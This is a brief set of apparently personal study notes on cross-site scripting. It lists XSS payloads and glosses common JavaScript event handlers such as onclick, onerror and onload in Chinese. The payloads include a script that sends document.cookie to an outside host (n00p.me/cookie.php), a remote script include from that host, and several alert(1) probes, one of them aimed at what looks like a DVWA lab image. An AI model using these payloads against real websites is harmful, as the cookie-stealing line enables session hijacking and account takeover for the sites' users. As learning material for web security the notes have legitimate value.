0502 xss

playload

<script>window.open('http://n00p.me/cookie.php?cookie='+document.cookie)</script>
<script src="http://n00p.me/cookie.js"></script>
<iframe src="javascript:alert(1)"></iframe>

<img src=x onerror=alert(1)>
<img src='http://n00p.me/dvwa/dvwa/images/logo.png' onload=alert(1)>
<img src=x onclick=alert(1)>

event

onclick 鼠标单击

onchange 内容发生改变

onerror 图片等未找到时

onload 页面加载

onmouseover 鼠标悬停

onmouseout 鼠标移出

onmousemove 鼠标路过